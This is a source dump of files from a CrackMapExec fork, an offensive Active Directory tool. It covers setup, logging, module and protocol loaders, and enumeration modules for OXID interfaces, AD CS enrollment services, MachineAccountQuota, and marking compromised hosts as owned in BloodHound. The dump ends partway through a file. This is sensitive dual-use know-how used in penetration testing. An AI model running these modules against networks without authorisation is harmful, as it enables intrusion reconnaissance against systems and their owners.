https://www.youtube.com/watch?v=Sagg08DrO5U 21 | https://www.youtube.com/watch?v=z9Uz1icjwrM 22 | https://www.youtube.com/watch?v=FavUpD_IjVY 23 | https://www.youtube.com/watch?v=jX3iLfcMDCw 24 | https://www.youtube.com/watch?v=i8ju_10NkGY 25 | https://www.youtube.com/watch?v=6mMPhs6je8Y 26 | https://www.youtube.com/watch?v=CgmNoapY64E 27 | https://www.youtube.com/watch?v=lQCQ4nvn3Is 28 | https://www.youtube.com/watch?v=19N9pAF2qGo 29 | https://www.youtube.com/watch?v=PWmfNeLs7fA 30 | -------------------------------------------------------------------------------- /cme/first_run.py: -------------------------------------------------------------------------------- 1 | import os 2 | import errno 3 | import sqlite3 4 | import shutil 5 | import cme 6 | import configparser 7 | from configparser import ConfigParser, NoSectionError, NoOptionError 8 | from cme.loaders.protocol_loader import protocol_loader 9 | from subprocess import check_output, PIPE 10 | import sys 11 | 12 | CME_PATH = os.path.expanduser('~/.cme') 13 | TMP_PATH = os.path.join('/tmp', 'cme_hosted') 14 | if os.name == 'nt': 15 | TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted' 16 | if hasattr(sys, 'getandroidapilevel'): 17 | TMP_PATH = os.path.join('/data','data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted') 18 | WS_PATH = os.path.join(CME_PATH, 'workspaces') 19 | CERT_PATH = os.path.join(CME_PATH, 'cme.pem') 20 | CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') 21 | 22 | 23 | def first_run_setup(logger): 24 | 25 | if not os.path.exists(TMP_PATH): 26 | os.mkdir(TMP_PATH) 27 | 28 | if not os.path.exists(CME_PATH): 29 | logger.info('First time use detected') 30 | logger.info('Creating home directory structure') 31 | os.mkdir(CME_PATH) 32 | 33 | folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots'] 34 | for folder in folders: 35 | if not os.path.exists(os.path.join(CME_PATH, folder)): 36 | os.mkdir(os.path.join(CME_PATH, folder)) 37 | 38 | if not os.path.exists(os.path.join(WS_PATH, 'default')): 39 | logger.info('Creating default workspace') 40 | os.mkdir(os.path.join(WS_PATH, 'default')) 41 | 42 | p_loader = protocol_loader() 43 | protocols = p_loader.get_protocols() 44 | for protocol in protocols.keys(): 45 | try: 46 | protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath']) 47 | except KeyError: 48 | continue 49 | 50 | proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db') 51 | 52 | if not os.path.exists(proto_db_path): 53 | logger.info('Initializing {} protocol database'.format(protocol.upper())) 54 | conn = sqlite3.connect(proto_db_path) 55 | c = conn.cursor() 56 | 57 | # try to prevent some of the weird sqlite I/O errors 58 | c.execute('PRAGMA journal_mode = OFF') 59 | c.execute('PRAGMA foreign_keys = 1') 60 | 61 | getattr(protocol_object, 'database').db_schema(c) 62 | 63 | # commit the changes and close everything off 64 | conn.commit() 65 | conn.close() 66 | 67 | if not os.path.exists(CONFIG_PATH): 68 | logger.info('Copying default configuration file') 69 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') 70 | shutil.copy(default_path, CME_PATH) 71 | else: 72 | # This is just a quick check to make sure the config file isn't the old 3.x format 73 | try: 74 | config = configparser.ConfigParser() 75 | config.read(CONFIG_PATH) 76 | config.get('CME', 'workspace') 77 | config.get('CME', 'pwn3d_label') 78 | config.get('CME', 'audit_mode') 79 | config.get('BloodHound', 'bh_enabled') 80 | except (NoSectionError, NoOptionError): 81 | logger.info('Old configuration file detected, replacing with new version') 82 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') 83 | shutil.copy(default_path, CME_PATH) 84 | 85 | if not os.path.exists(CERT_PATH): 86 | logger.info('Generating SSL certificate') 87 | try: 88 | check_output(['openssl', 'help'], stderr=PIPE) 89 | if os.name != 'nt': 90 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH)) 91 | else: 92 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH)) 93 | except OSError as e: 94 | if e.errno == errno.ENOENT: 95 | logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate') 96 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'default.pem') 97 | shutil.copy(default_path, CERT_PATH) 98 | else: 99 | logger.error('Error while generating SSL certificate: {}'.format(e)) 100 | sys.exit(1) 101 | -------------------------------------------------------------------------------- /cme/helpers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/helpers/__init__.py -------------------------------------------------------------------------------- /cme/helpers/bash.py: -------------------------------------------------------------------------------- 1 | import os 2 | import cme 3 | 4 | def get_script(path): 5 | with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script: 6 | return script.read() 7 | -------------------------------------------------------------------------------- /cme/helpers/bloodhound.py: -------------------------------------------------------------------------------- 1 | def add_user_bh(user, domain, logger, config): 2 | users_owned = [] 3 | if isinstance(user, str): 4 | users_owned.append({'username': user.upper(), 'domain': domain.upper()}) 5 | else: 6 | users_owned = user 7 | if config.get('BloodHound', 'bh_enabled') != "False": 8 | try: 9 | from neo4j.v1 import GraphDatabase 10 | except: 11 | from neo4j import GraphDatabase 12 | from neo4j.exceptions import AuthError, ServiceUnavailable 13 | uri = "bolt://{}:{}".format(config.get('BloodHound', 'bh_uri'), config.get('BloodHound', 'bh_port')) 14 | 15 | driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False) 16 | try: 17 | with driver.session() as session: 18 | with session.begin_transaction() as tx: 19 | for info in users_owned: 20 | if info['username'][-1] == '$': 21 | user_owned = info['username'][:-1] + "." + info['domain'] 22 | account_type = 'Computer' 23 | else: 24 | user_owned = info['username'] + "@" + info['domain'] 25 | account_type = 'User' 26 | 27 | result = tx.run( 28 | "MATCH (c:{} {{name:\"{}\"}}) RETURN c".format(account_type, user_owned)) 29 | 30 | if result.data()[0]['c'].get('owned') in (False, None): 31 | logger.debug("MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned)) 32 | result = tx.run( 33 | "MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned)) 34 | logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned)) 35 | except AuthError as e: 36 | logger.error( 37 | "Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass'))) 38 | return 39 | except ServiceUnavailable as e: 40 | logger.error("Neo4J does not seem to be available on {}.".format(uri)) 41 | return 42 | except Exception as e: 43 | logger.error("Unexpected error with Neo4J") 44 | logger.error("Account not found on the domain") 45 | return 46 | driver.close() -------------------------------------------------------------------------------- /cme/helpers/http.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def get_desktop_uagent(uagent=None): 4 | 5 | desktop_uagents = { 6 | "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", 7 | "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", 8 | "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", 9 | "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 10 | "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", 11 | "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", 12 | "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", 13 | "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,", 14 | "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", 15 | "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16" 16 | } 17 | 18 | if not uagent: 19 | return desktop_uagents[random.choice(desktop_uagents.keys())] 20 | elif uagent: 21 | return desktop_uagents[uagent] -------------------------------------------------------------------------------- /cme/helpers/logger.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | from termcolor import colored 4 | 5 | def write_log(data, log_name): 6 | logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs') 7 | with open(os.path.join(logs_dir, log_name), 'w') as log_output: 8 | log_output.write(data) 9 | 10 | def highlight(text, color='yellow'): 11 | if color == 'yellow': 12 | return u'{}'.format(colored(text, 'yellow', attrs=['bold'])) 13 | elif color == 'red': 14 | return u'{}'.format(colored(text, 'red', attrs=['bold'])) 15 | -------------------------------------------------------------------------------- /cme/helpers/misc.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import re 4 | import inspect 5 | import os 6 | 7 | 8 | def identify_target_file(target_file): 9 | with open(target_file, 'r') as target_file_handle: 10 | for i, line in enumerate(target_file_handle): 11 | if i == 1: 12 | if line.startswith('\n'): 15 | return 'nmap' 16 | 17 | return 'unknown' 18 | 19 | 20 | def gen_random_string(length=10): 21 | return ''.join(random.sample(string.ascii_letters, int(length))) 22 | 23 | 24 | def validate_ntlm(data): 25 | allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) 26 | if allowed.match(data): 27 | return True 28 | else: 29 | return False 30 | 31 | 32 | def called_from_cmd_args(): 33 | for stack in inspect.stack(): 34 | if stack[3] == 'print_host_info': 35 | return True 36 | if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login': 37 | return True 38 | if stack[3] == 'call_cmd_args': 39 | return True 40 | return False 41 | 42 | 43 | # Stolen from https://github.com/pydanny/whichcraft/ 44 | def which(cmd, mode=os.F_OK | os.X_OK, path=None): 45 | """Given a command, mode, and a PATH string, return the path which 46 | conforms to the given mode on the PATH, or None if there is no such 47 | file. 48 | `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result 49 | of os.environ.get("PATH"), or can be overridden with a custom search 50 | path. 51 | Note: This function was backported from the Python 3 source code. 52 | """ 53 | # Check that a given file can be accessed with the correct mode. 54 | # Additionally check that `file` is not a directory, as on Windows 55 | # directories pass the os.access check. 56 | def _access_check(fn, mode): 57 | return (os.path.exists(fn) and os.access(fn, mode) and 58 | not os.path.isdir(fn)) 59 | 60 | # If we're given a path with a directory part, look it up directly 61 | # rather than referring to PATH directories. This includes checking 62 | # relative to the current directory, e.g. ./script 63 | if os.path.dirname(cmd): 64 | if _access_check(cmd, mode): 65 | return cmd 66 | return None 67 | 68 | if path is None: 69 | path = os.environ.get("PATH", os.defpath) 70 | if not path: 71 | return None 72 | path = path.split(os.pathsep) 73 | 74 | files = [cmd] 75 | 76 | seen = set() 77 | for dir in path: 78 | normdir = os.path.normcase(dir) 79 | if normdir not in seen: 80 | seen.add(normdir) 81 | for thefile in files: 82 | name = os.path.join(dir, thefile) 83 | if _access_check(name, mode): 84 | return name 85 | return None 86 | -------------------------------------------------------------------------------- /cme/loaders/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/loaders/__init__.py -------------------------------------------------------------------------------- /cme/loaders/module_loader.py: -------------------------------------------------------------------------------- 1 | import imp 2 | import os 3 | import sys 4 | import cme 5 | from cme.context import Context 6 | from cme.logger import CMEAdapter 7 | 8 | class module_loader: 9 | 10 | def __init__(self, args, db, logger): 11 | self.args = args 12 | self.db = db 13 | self.logger = logger 14 | self.cme_path = os.path.expanduser('~/.cme') 15 | 16 | def module_is_sane(self, module, module_path): 17 | module_error = False 18 | 19 | if not hasattr(module, 'name'): 20 | self.logger.error('{} missing the name variable'.format(module_path)) 21 | module_error = True 22 | 23 | elif not hasattr(module, 'description'): 24 | self.logger.error('{} missing the description variable'.format(module_path)) 25 | module_error = True 26 | 27 | #elif not hasattr(module, 'chain_support'): 28 | # self.logger.error('{} missing the chain_support variable'.format(module_path)) 29 | # module_error = True 30 | 31 | elif not hasattr(module, 'supported_protocols'): 32 | self.logger.error('{} missing the supported_protocols variable'.format(module_path)) 33 | module_error = True 34 | 35 | elif not hasattr(module, 'opsec_safe'): 36 | self.logger.error('{} missing the opsec_safe variable'.format(module_path)) 37 | module_error = True 38 | 39 | elif not hasattr(module, 'multiple_hosts'): 40 | self.logger.error('{} missing the multiple_hosts variable'.format(module_path)) 41 | module_error = True 42 | 43 | elif not hasattr(module, 'options'): 44 | self.logger.error('{} missing the options function'.format(module_path)) 45 | module_error = True 46 | 47 | elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'): 48 | self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path)) 49 | module_error = True 50 | 51 | if module_error: return False 52 | 53 | return True 54 | 55 | def load_module(self, module_path): 56 | try: 57 | module = imp.load_source('payload_module', module_path).CMEModule() 58 | if self.module_is_sane(module, module_path): 59 | return module 60 | except Exception as e: 61 | self.logger.error('Failed loading module at {}: {}'.format(module_path, e)) 62 | 63 | return None 64 | 65 | def get_modules(self): 66 | modules = {} 67 | 68 | modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')] 69 | 70 | for path in modules_paths: 71 | for module in os.listdir(path): 72 | if module[-3:] == '.py' and module != 'example_module.py': 73 | module_path = os.path.join(path, module) 74 | m = self.load_module(os.path.join(path, module)) 75 | if m and (self.args.protocol in m.supported_protocols): 76 | modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support} 77 | 78 | return modules 79 | 80 | def init_module(self, module_path): 81 | 82 | module = None 83 | 84 | module = self.load_module(module_path) 85 | 86 | if module: 87 | module_logger = CMEAdapter(extra={'module': module.name.upper()}) 88 | context = Context(self.db, module_logger, self.args) 89 | 90 | module_options = {} 91 | 92 | for option in self.args.module_options: 93 | key, value = option.split('=', 1) 94 | module_options[str(key).upper()] = value 95 | 96 | module.options(context, module_options) 97 | 98 | return module 99 | -------------------------------------------------------------------------------- /cme/loaders/protocol_loader.py: -------------------------------------------------------------------------------- 1 | import imp 2 | import os 3 | import sys 4 | import cme 5 | 6 | class protocol_loader: 7 | 8 | def __init__(self): 9 | self.cme_path = os.path.expanduser('~/.cme') 10 | 11 | def load_protocol(self, protocol_path): 12 | protocol = imp.load_source('protocol', protocol_path) 13 | #if self.module_is_sane(module, module_path): 14 | return protocol 15 | 16 | def get_protocols(self): 17 | protocols = {} 18 | 19 | protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')] 20 | 21 | for path in protocol_paths: 22 | for protocol in os.listdir(path): 23 | if protocol[-3:] == '.py' and protocol[:-3] != '__init__': 24 | protocol_path = os.path.join(path, protocol) 25 | protocol_name = protocol[:-3] 26 | 27 | protocols[protocol_name] = {'path' : protocol_path} 28 | 29 | db_file_path = os.path.join(path, protocol_name, 'database.py') 30 | db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py') 31 | if os.path.exists(db_file_path): 32 | protocols[protocol_name]['dbpath'] = db_file_path 33 | if os.path.exists(db_nav_path): 34 | protocols[protocol_name]['nvpath'] = db_nav_path 35 | 36 | return protocols 37 | -------------------------------------------------------------------------------- /cme/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import re 4 | from cme.helpers.misc import called_from_cmd_args 5 | from termcolor import colored 6 | from datetime import datetime 7 | 8 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file 9 | #There must be a better way of doing this, but this way we might save some penguins! 10 | 11 | ansi_escape = re.compile(r'\x1b[^m]*m') 12 | 13 | def antiansi_emit(self, record): 14 | 15 | if self.stream is None: 16 | self.stream = self._open() 17 | 18 | record.msg = ansi_escape.sub('', record.message) 19 | logging.StreamHandler.emit(self, record) 20 | 21 | logging.FileHandler.emit = antiansi_emit 22 | 23 | #################################################################### 24 | 25 | class CMEAdapter(logging.LoggerAdapter): 26 | 27 | # For Impacket's TDS library 28 | message = '' 29 | 30 | def __init__(self, logger_name='CME', extra=None): 31 | self.logger = logging.getLogger(logger_name) 32 | self.extra = extra 33 | 34 | def process(self, msg, kwargs): 35 | if self.extra is None: 36 | return u'{}'.format(msg), kwargs 37 | 38 | if 'module' in self.extra.keys(): 39 | if len(self.extra['module']) > 8: 40 | self.extra['module'] = self.extra['module'][:8] + '...' 41 | 42 | #If the logger is being called when hooking the 'options' module function 43 | if len(self.extra) == 1 and ('module' in self.extra.keys()): 44 | return u'{:<64} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs 45 | 46 | #If the logger is being called from CMEServer 47 | if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()): 48 | return u'{:<24} {:<39} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs 49 | 50 | #If the logger is being called from a protocol 51 | if 'module' in self.extra.keys(): 52 | module_name = colored(self.extra['module'], 'cyan', attrs=['bold']) 53 | else: 54 | module_name = colored(self.extra['protocol'], 'blue', attrs=['bold']) 55 | 56 | return u'{:<24} {:<15} {:<6} {:<16} {}'.format(module_name, 57 | self.extra['host'], 58 | self.extra['port'], 59 | self.extra['hostname'] if self.extra['hostname'] else 'NONE', 60 | msg), kwargs 61 | 62 | def info(self, msg, *args, **kwargs): 63 | try: 64 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 65 | return 66 | except AttributeError: 67 | pass 68 | 69 | msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs) 70 | self.logger.info(msg, *args, **kwargs) 71 | 72 | def error(self, msg, color='red', *args, **kwargs): 73 | msg, kwargs = self.process(u'{} {}'.format(colored("[-]", color, attrs=['bold']), msg), kwargs) 74 | self.logger.error(msg, *args, **kwargs) 75 | 76 | def debug(self, msg, *args, **kwargs): 77 | pass 78 | 79 | def success(self, msg, *args, **kwargs): 80 | try: 81 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 82 | return 83 | except AttributeError: 84 | pass 85 | 86 | msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs) 87 | self.logger.info(msg, *args, **kwargs) 88 | 89 | def highlight(self, msg, *args, **kwargs): 90 | try: 91 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 92 | return 93 | except AttributeError: 94 | pass 95 | 96 | msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs) 97 | self.logger.info(msg, *args, **kwargs) 98 | 99 | # For Impacket's TDS library 100 | def logMessage(self,message): 101 | CMEAdapter.message += message.strip().replace('NULL', '') + '\n' 102 | 103 | def getMessage(self): 104 | out = CMEAdapter.message 105 | CMEAdapter.message = '' 106 | return out 107 | 108 | def setup_debug_logger(): 109 | debug_output_string = "{} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold'])) 110 | formatter = logging.Formatter(debug_output_string) 111 | streamHandler = logging.StreamHandler(sys.stdout) 112 | streamHandler.setFormatter(formatter) 113 | 114 | root_logger = logging.getLogger() 115 | root_logger.propagate = False 116 | root_logger.addHandler(streamHandler) 117 | #root_logger.addHandler(fileHandler) 118 | root_logger.setLevel(logging.DEBUG) 119 | return root_logger 120 | 121 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'): 122 | 123 | formatter = logging.Formatter("%(message)s") 124 | 125 | if log_to_file: 126 | if not log_prefix: 127 | log_prefix = 'log' 128 | 129 | log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d')) 130 | fileHandler = logging.FileHandler('./logs/{}'.format(log_filename)) 131 | fileHandler.setFormatter(formatter) 132 | 133 | streamHandler = logging.StreamHandler(sys.stdout) 134 | streamHandler.setFormatter(formatter) 135 | 136 | cme_logger = logging.getLogger(logger_name) 137 | cme_logger.propagate = False 138 | cme_logger.addHandler(streamHandler) 139 | 140 | if log_to_file: 141 | cme_logger.addHandler(fileHandler) 142 | 143 | cme_logger.setLevel(level) 144 | 145 | return cme_logger 146 | -------------------------------------------------------------------------------- /cme/modules/IOXIDResolver.py: -------------------------------------------------------------------------------- 1 | # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/ 2 | # Airbus CERT 3 | # module by @mpgn_x64 4 | 5 | from ipaddress import ip_address 6 | from impacket.dcerpc.v5 import transport 7 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE 8 | from impacket.dcerpc.v5.dcomrt import IObjectExporter 9 | 10 | class CMEModule: 11 | 12 | name = 'ioxidresolver' 13 | description = "Thie module helps you to identify hosts that have additional active interfaces" 14 | supported_protocols = ['smb'] 15 | opsec_safe = True 16 | multiple_hosts = False 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | ''' 21 | 22 | 23 | def on_login(self, context, connection): 24 | authLevel = RPC_C_AUTHN_LEVEL_NONE 25 | 26 | stringBinding = r'ncacn_ip_tcp:%s' % connection.host 27 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 28 | 29 | portmap = rpctransport.get_dce_rpc() 30 | portmap.set_auth_level(authLevel) 31 | portmap.connect() 32 | 33 | objExporter = IObjectExporter(portmap) 34 | bindings = objExporter.ServerAlive2() 35 | 36 | context.log.debug("[*] Retrieving network interface of " + connection.host) 37 | 38 | #NetworkAddr = bindings[0]['aNetworkAddr'] 39 | for binding in bindings: 40 | NetworkAddr = binding['aNetworkAddr'] 41 | try: 42 | ip_address(NetworkAddr[:-1]) 43 | context.log.highlight("Address: " + NetworkAddr) 44 | except Exception as e: 45 | context.log.debug(e) 46 | 47 | 48 | -------------------------------------------------------------------------------- /cme/modules/MachineAccountQuota.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | ''' 3 | Module by Shutdown and Podalirius 4 | 5 | Initial module: 6 | https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota 7 | 8 | Authors: 9 | Shutdown: @_nwodtuhs 10 | Podalirius: @podalirius_ 11 | ''' 12 | 13 | def options(self, context, module_options): 14 | pass 15 | 16 | name = 'MAQ' 17 | description = 'Retrieves the MachineAccountQuota domain-level attribute' 18 | supported_protocols = ['ldap'] 19 | opsec_safe = True 20 | multiple_hosts = False 21 | 22 | def on_login(self, context, connection): 23 | result = [] 24 | context.log.info('Getting the MachineAccountQuota') 25 | searchFilter = '(objectClass=*)' 26 | attributes = ['ms-DS-MachineAccountQuota'] 27 | result = connection.search(searchFilter, attributes) 28 | context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0]) 29 | -------------------------------------------------------------------------------- /cme/modules/adcs.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from impacket.ldap import ldap, ldapasn1 4 | from impacket.ldap.ldap import LDAPSearchError 5 | 6 | class CMEModule: 7 | ''' 8 | Find PKI Enrollment Services in Active Directory and Certificate Templates Names. 9 | 10 | Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash) 11 | ''' 12 | name = 'adcs' 13 | description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names' 14 | supported_protocols = ['ldap'] 15 | opsec_safe= True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name 21 | ''' 22 | self.context = context 23 | self.regex = re.compile('(https?://.+)') 24 | 25 | self.server = None 26 | if module_options and 'SERVER' in module_options: 27 | self.server = module_options['SERVER'] 28 | 29 | def on_login(self, context, connection): 30 | ''' 31 | On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names. 32 | ''' 33 | if self.server is None: 34 | search_filter = '(objectClass=pKIEnrollmentService)' 35 | else: 36 | search_filter = '(distinguishedName=CN={},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'.format(self.server) 37 | self.context.log.highlight('Using PKI CN: {}'.format(self.server)) 38 | 39 | context.log.debug("Starting LDAP search with search filter '{}'".format(search_filter)) 40 | 41 | try: 42 | sc = ldap.SimplePagedResultsControl() 43 | 44 | if self.server is None: 45 | resp = connection.ldapConnection.search(searchFilter=search_filter, 46 | attributes=[], 47 | sizeLimit=0, searchControls=[sc], 48 | perRecordCallback=self.process_servers, 49 | searchBase='CN=Configuration,' + connection.ldapConnection._baseDN) 50 | else: 51 | resp = connection.ldapConnection.search(searchFilter=search_filter + connection.ldapConnection._baseDN + ')', 52 | attributes=['certificateTemplates'], 53 | sizeLimit=0, searchControls=[sc], 54 | perRecordCallback=self.process_templates, 55 | searchBase='CN=Configuration,' + connection.ldapConnection._baseDN) 56 | 57 | except LDAPSearchError as e: 58 | context.log.error('Obtained unexpected exception: {}'.format(str(e))) 59 | 60 | def process_servers(self, item): 61 | ''' 62 | Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers. 63 | ''' 64 | if not isinstance(item, ldapasn1.SearchResultEntry): 65 | return 66 | 67 | urls = [] 68 | host_name = None 69 | cn = None 70 | 71 | try: 72 | for attribute in item['attributes']: 73 | 74 | 75 | 76 | if str(attribute['type']) == 'dNSHostName': 77 | host_name = attribute['vals'][0].asOctets().decode('utf-8') 78 | if str(attribute['type']) == 'cn': 79 | cn = attribute['vals'][0].asOctets().decode('utf-8') 80 | 81 | elif str(attribute['type']) == 'msPKI-Enrollment-Servers': 82 | 83 | values = attribute['vals'] 84 | 85 | for value in values: 86 | 87 | value = value.asOctets().decode('utf-8') 88 | match = self.regex.search(value) 89 | 90 | if match: 91 | urls.append(match.group(1)) 92 | 93 | except Exception as e: 94 | entry = host_name or 'item' 95 | self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) 96 | 97 | if host_name: 98 | self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name)) 99 | 100 | if cn: 101 | self.context.log.highlight('Found CN: {}'.format(cn)) 102 | 103 | for url in urls: 104 | self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url)) 105 | 106 | def process_templates(self, item): 107 | ''' 108 | Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server. 109 | ''' 110 | if not isinstance(item, ldapasn1.SearchResultEntry): 111 | return 112 | 113 | templates = [] 114 | template_name = None 115 | 116 | try: 117 | 118 | for attribute in item['attributes']: 119 | 120 | if str(attribute['type']) == 'certificateTemplates': 121 | for val in attribute['vals']: 122 | template_name = val.asOctets().decode('utf-8') 123 | templates.append(template_name) 124 | 125 | except Exception as e: 126 | entry = template_name or 'item' 127 | self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) 128 | 129 | if templates: 130 | for t in templates: 131 | self.context.log.highlight('Found Certificate Template: {}'.format(t)) 132 | -------------------------------------------------------------------------------- /cme/modules/bh_owned.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Romain Bentz (pixis - @hackanddo) 3 | # Website: 4 | # https://beta.hackndo.com [FR] 5 | # https://en.hackndo.com [EN] 6 | 7 | import json 8 | import sys 9 | 10 | 11 | class CMEModule: 12 | name = 'bh_owned' 13 | description = "Set pwned computer as owned in Bloodhound" 14 | supported_protocols = ['smb'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | """ 20 | URI URI for Neo4j database (default: 127.0.0.1) 21 | PORT Listening port for Neo4j database (default: 7687) 22 | USER Username for Neo4j database (default: 'neo4j') 23 | PASS Password for Neo4j database (default: 'neo4j') 24 | """ 25 | 26 | self.neo4j_URI = "127.0.0.1" 27 | self.neo4j_Port = "7687" 28 | self.neo4j_user = "neo4j" 29 | self.neo4j_pass = "neo4j" 30 | 31 | if module_options and 'URI' in module_options: 32 | self.neo4j_URI = module_options['URI'] 33 | if module_options and 'PORT' in module_options: 34 | self.neo4j_Port = module_options['PORT'] 35 | if module_options and 'USER' in module_options: 36 | self.neo4j_user = module_options['USER'] 37 | if module_options and 'PASS' in module_options: 38 | self.neo4j_pass = module_options['PASS'] 39 | 40 | def on_admin_login(self, context, connection): 41 | try: 42 | from neo4j.v1 import GraphDatabase 43 | except: 44 | from neo4j import GraphDatabase 45 | 46 | from neo4j.exceptions import AuthError, ServiceUnavailable 47 | 48 | if context.local_auth: 49 | domain = connection.conn.getServerDNSDomainName() 50 | else: 51 | domain = connection.domain 52 | 53 | 54 | host_fqdn = (connection.hostname + "." + domain).upper() 55 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) 56 | 57 | try: 58 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False) 59 | except AuthError as e: 60 | context.log.error( 61 | "Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) 62 | sys.exit() 63 | except ServiceUnavailable as e: 64 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) 65 | sys.exit() 66 | except Exception as e: 67 | context.log.error("Unexpected error with Neo4J") 68 | context.log.debug("Error : ".format(str(e))) 69 